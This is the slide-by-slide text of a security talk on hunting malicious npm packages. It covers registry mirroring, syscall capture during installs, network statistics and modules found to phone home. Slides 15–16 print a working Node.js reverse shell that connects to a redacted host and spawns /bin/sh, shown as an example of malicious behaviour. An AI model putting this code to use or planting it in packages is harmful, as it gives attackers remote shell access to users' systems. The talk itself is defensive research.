hunting for malicious modules in npm - nodesummit

45
Hunting for Malicious Modules in

Upload: adam-baldwin

Post on 28-Jan-2018

57 views

Category:

Technology


1 download

TRANSCRIPT

Page 1: Hunting for malicious modules in npm - NodeSummit

Hunting for Malicious Modules in

Page 2: Hunting for malicious modules in npm - NodeSummit

adam_baldwinevilpacket

Page 3: Hunting for malicious modules in npm - NodeSummit

liftsecurity.io

Page 4: Hunting for malicious modules in npm - NodeSummit

nodesecurity.ioContinous Security Monitoring

Page 5: Hunting for malicious modules in npm - NodeSummit

Hunting for Malicious Modules in

Page 6: Hunting for malicious modules in npm - NodeSummit

WHY SHOULD WE HUNT?

Page 7: Hunting for malicious modules in npm - NodeSummit

🕯Hey, I can publish malicious

code to npm

Page 8: Hunting for malicious modules in npm - NodeSummit

💨this is bad.

Page 9: Hunting for malicious modules in npm - NodeSummit

🔥install scripts are BAD!

Page 10: Hunting for malicious modules in npm - NodeSummit

💩JavaScript BAD!

Page 11: Hunting for malicious modules in npm - NodeSummit

rimrafall

Page 12: Hunting for malicious modules in npm - NodeSummit

npm hydra worm

Page 13: Hunting for malicious modules in npm - NodeSummit

WHAT ARE WE HUNTING?

Page 14: Hunting for malicious modules in npm - NodeSummit

WHAT DEFINES MALICIOUS BEHAVIOR?

Page 15: Hunting for malicious modules in npm - NodeSummit

var net = require('net');var daemon = require('daemon');var spawn = require('child_process').spawn;

function c() { var client = new net.Socket(); client.connect(443, "REDACTED", function() { var sh = spawn('/bin/sh', []); client.write("Connected\r\n"); client.pipe(sh.stdin); sh.stdout.pipe(client); });

client.on('error', function() {});

client.on('close', function() { setTimeout(c, 5000); });}

require('daemon')();c();

😈Example

Page 16: Hunting for malicious modules in npm - NodeSummit

client.connect(443, "REDACTED", function() { var sh = spawn('/bin/sh', []);

Page 17: Hunting for malicious modules in npm - NodeSummit

WHERE ARE WE HUNTING?

Page 18: Hunting for malicious modules in npm - NodeSummit
Page 19: Hunting for malicious modules in npm - NodeSummit

507,573 modules

Page 20: Hunting for malicious modules in npm - NodeSummit

3,443,784 individual versions

Page 21: Hunting for malicious modules in npm - NodeSummit

242,505,822 individual files

Page 22: Hunting for malicious modules in npm - NodeSummit

21,756 modules with install scripts

Page 23: Hunting for malicious modules in npm - NodeSummit

HOW AM I HUNTING?

Page 24: Hunting for malicious modules in npm - NodeSummit

MIRROR REGISTRY

Page 25: Hunting for malicious modules in npm - NodeSummit

INDEX MODULESFilenames Extensions Content Hash

Page 26: Hunting for malicious modules in npm - NodeSummit

npm install module

syscall capture

DB

Page 27: Hunting for malicious modules in npm - NodeSummit

npm publish GCS

PubSubInstrumentation

npm iraw data 🎉

Page 28: Hunting for malicious modules in npm - NodeSummit

~24,000 modules processed

Page 29: Hunting for malicious modules in npm - NodeSummit

2.1 TB OF DATA 😲

Page 30: Hunting for malicious modules in npm - NodeSummit

22 53 80

443 1880 3000

9418 23400 27017 38584 54329 61337

3001 3306 4987 6379 8000 8002

8008 8043 8080 8090 9000 9001

DESTINATION PORTS

Page 31: Hunting for malicious modules in npm - NodeSummit

DNS REQUESTS

339 unique lookups

Page 32: Hunting for malicious modules in npm - NodeSummit

DESTINATION HOSTS

1080 unique hosts

Page 33: Hunting for malicious modules in npm - NodeSummit

RESULTS😈

Page 34: Hunting for malicious modules in npm - NodeSummit

144+ modules that download build components over HTTP

Insecure Behavior

Page 35: Hunting for malicious modules in npm - NodeSummit
Page 36: Hunting for malicious modules in npm - NodeSummit

Modules that called home

et_phone_home anarchy harmlesspackage botbait

Page 37: Hunting for malicious modules in npm - NodeSummit

Modules that change registry settings

Page 38: Hunting for malicious modules in npm - NodeSummit

😇 ? 😈

Page 39: Hunting for malicious modules in npm - NodeSummit

😢 / 😀

Page 40: Hunting for malicious modules in npm - NodeSummit

WHAT DID I LEARN?How can we improve the future

Page 41: Hunting for malicious modules in npm - NodeSummit

People will publish malicious things to the registry

Page 42: Hunting for malicious modules in npm - NodeSummit

Your security habits have a lot to do with if this gets exploited or not

Page 43: Hunting for malicious modules in npm - NodeSummit

-Have good passwords -Don't publish credentials -Limit the # of publishers

Page 44: Hunting for malicious modules in npm - NodeSummit

But what about ? Can't they do something?

Page 45: Hunting for malicious modules in npm - NodeSummit

</presentation>Thanks

adam_baldwinevilpacket